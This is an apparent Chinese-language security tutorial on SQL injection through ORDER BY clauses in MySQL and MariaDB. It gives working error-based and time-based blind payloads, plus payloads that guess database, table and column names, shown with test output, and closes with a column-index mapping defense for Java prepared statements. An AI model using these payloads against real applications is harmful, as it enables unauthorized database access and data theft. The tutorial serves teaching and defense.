Order by注入

Order by注入

order by注入顾名思义可控参数在oder by后,可能出现在排序功能,想象一个功能可以根据用户输入的参数选择排名榜单,例如通过商品的名称select * from test01 order by [name];或者通过商品的价格select * from test01 order by [price];

例如select * from test01 order by [args];

可以通过下面几个方法测试是否存在注入点:

利用报错

可以构造一些报错语句得到相关信息

regexp

select 1 regexp if(1=1,1,0x00) #正常显示
select 1 regexp if(1=2,1,0x00) #出现报错

这个在10.5.12-MariaDB-1已经不行了,而在mysql5.7还能使用

#10.5.12-MariaDB-1均正常显示
MariaDB [mysql]> select * from test01 order by (select 1 regexp if(1=1,1,0x00));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
|  1 | admin    | 123456 |
|  2 | jack     | 123456 |
|  3 | jackk    | 678910 |
+----+----------+--------+

MariaDB [mysql]> select * from test01 order by (select 1 regexp if(1=2,1,0x00));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
|  1 | admin    | 123456 |
|  2 | jack     | 123456 |
|  3 | jackk    | 678910 |
+----+----------+--------+

#mysql5.7.18则会报错
mysql> select * from test01 order by (select 1 regexp if(1=1,1,0x00));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
|  1 | admin    | 123456 |
|  2 | jackk    | 678910 |
|  4 | jack     | 123456 |
+----+----------+--------+
3 rows in set (0.00 sec)

mysql> select * from test01 order by (select 1 regexp if(1=2,1,0x00));
ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp

updatexml

这个就还是可以的

updatexml(1,if(1=1,1,user()),1) #正常显示
updatexml(1,if(1=2,1,user()),1) #出现报错

extractvalue

这个也是好用的

extractvalue(1,if(1=1,1,user()),1) #正常显示
extractvalue(1,if(1=2,1,user()),1) #出现报错

当报错显示被BAN掉之后可以考虑时间盲注

利用时间盲注

注意如果直接if(1=2,1,sleep(2))sleep时间将会变成2*当前表中记录的数目,将会对服务器造成一定的拒绝服务攻击。所以sleep时间可以设置的小一点。

if(1=1,1,sleep(time)) #正常显示
if(1=2,1,sleep(time)) #睡眠 (time*表中条目) 秒

数据猜解

这一部分的核心跟where注入没有什么区别。

数据库名猜解

#mysql5.7.18
mysql> select * from test01 order by (select 1 regexp if((substr(database(),1,1)=0x74),1,0x00));
ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp

mysql> select * from test01 order by (select 1 regexp if((substr(database(),1,1)=0x6D),1,0x00));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
|  1 | admin    | 123456 |
|  2 | jackk    | 678910 |
|  4 | jack     | 123456 |
+----+----------+--------+

而我的数据库10.5.12-MariaDB-1则不能使用regexp来进行猜解,所以可以用updexmlextractvalue

#mysql5.7.18
MariaDB [mysql]> select * from test01 order by (updatexml(1,if((substr(database(),1,1)=0x74),1,user()),1));
ERROR 1105 (HY000): XPATH syntax error: '@localhost'
MariaDB [mysql]> select * from test01 order by (updatexml(1,if((substr(database(),1,1)=0x6D),1,user()),1));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
|  1 | admin    | 123456 |
|  2 | jack     | 123456 |
|  3 | jackk    | 678910 |
+----+----------+--------+

其实利用思路没啥区别了,然后下面的几个网上的payload只在mysql5.5成功,往上的5.7就不行了。

猜解表名

select * from table order by (select 1 regexp if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=0x74),1,0x00));

猜解列名

select * from table order by (select 1 regexp if(substring((select concat(column_name)from information_schema.columns where table_schema=database() and table_name=0x746573743031 limit 0,1),1,1)=0x70,1,0x00));

原因是下面几个payload在往上版本用NULL代替了报错。

mysql> select 1 regexp if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=0x74),1,0x00);
+------------------------------------+
|                                  1 |
+------------------------------------+
mysql> select 1 regexp if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=0x64),1,0x00);
+------------------------------------+
|                               NULL |
+------------------------------------+

select * from table order by NULLselect * from table order by 1的结果是一样的。

MariaDB [mysql]> select * from test01 order by NULL;
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
|  1 | admin    | 123456 |
|  2 | jack     | 123456 |
|  3 | jackk    | 678910 |
+----+----------+--------+

MariaDB [mysql]> select * from test01 order by 1;
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
|  1 | admin    | 123456 |
|  2 | jack     | 123456 |
|  3 | jackk    | 678910 |
+----+----------+--------+

产生order by的原因

order by后的参数不能被单引号包裹,这会被解析成一个单纯的字符串。

mysql> select * from test01 order by passwd;
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
|  1 | admin    | 123456 |
|  4 | jack     | 123456 |
|  2 | jackk    | 678910 |
+----+----------+--------+

mysql> select * from test01 order by 'passwd';
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
|  1 | admin    | 123456 |
|  2 | jackk    | 678910 |
|  4 | jack     | 123456 |
+----+----------+--------+

可以发现select * from test01 order by 'passwd'并没有按照预期进行排序。

而在预编译中如果直接在select * from test01 order by ?中用passwd占位会把passwd当成字符串而变成select * from test01 order by 'passwd'

所以会出现使用字符串拼接的情况,而有字符串拼接就有了SQL注入的可能。

String orderString = "passwd";
String sql01 = "select * from test01 order by" + orderString;
PreparedStatement preSql01 = conn.prepareStatement(sql01);

而这时的预编译其实相当于多次一举了,我们的恶意输入也将一同被预编译。

防御的手段第一个就是常见的过滤检查,限制非法输入。另一种就是使用序号来代替字段名

例如passwd是第3列我们可以用select * from test01 order by 3来替代。

至于编程实现也很简单,可以设置一个枚举或者MAP变量,然后拿用户输入passwd进行比对返回序号,然后拿序号预编译。

int index = map.get("passwd"); //从map获取对应序号
String sql02 = "select * from test01 order by ?";
PreparedStatement preSql02 = conn.prepareStatement(sql02);
preSql02.setInt(1,index);

你可能感兴趣的:(sql注入,mysql,数据库)